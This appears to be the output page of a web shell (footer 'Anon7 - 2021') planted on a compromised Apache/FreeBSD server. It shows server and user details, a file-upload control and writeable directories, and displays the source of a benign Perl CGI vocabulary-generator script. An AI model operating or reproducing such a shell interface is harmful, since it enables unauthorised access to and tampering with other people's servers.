KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/mandarintools/cgi-bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/mandarintools/cgi-bin/vocab_generator.pl
#!/usr/bin/perl -CS -- # -*- perl -*-

use lib qw(.);
use HTML::Entities;

use utf8;

# To Do:
# Check for numbers and convert

use CGI;
my $q = new CGI;


$vocab = $q->param('vocab');
$vocab = decode_entities($vocab);
@vocab_list = split(/\n/, $vocab);
foreach $word (@vocab_list) {
    $word =~ s/[\n\r ]*$//;
    # print $word;
}

my %vocab_set = map {$_=>0} @vocab_list;

$vocab =~ s/\s//g;
@vocab_chars = split(//, $vocab);
my %char_set = map {$_=>0} @vocab_chars;

print "Content-type: text/plain; charset=\"utf-8\"\n\n";

@vocab_files = ("HSK Official 2012 L1.txt",
		"HSK Official 2012 L2.txt",
		"HSK Official 2012 L3.txt",
		"HSK Official 2012 L4.txt",
		"HSK Official 2012 L5.txt",
		"HSK Official 2012 L6.txt");


#foreach $VOCABFILE (@vocab_files) {
#    print "$VOCABFILE\n";

$VOCABFILE = "wordlist.u8.txt";
open $in, '<:encoding(UTF-8)',  $VOCABFILE || print "Can't open dictionary file $VOCABFILE\n";

while ($line = <$in>) {
	$line =~ s/[\r\n ]*$//;
	if (length($line) == 1 or exists($vocab_set{$line})) {
	    next;
	}
	$is_all = 1;
	foreach $linechar (split(//, $line)) {
	    if (exists ($char_set{$linechar})) {
		# print "$linechar\n";
	    } else {
		$is_all = 0
	    }
	}
	if ($is_all == 1) {
	    print "$line\n";
	}
}
#}

Anon7 - 2021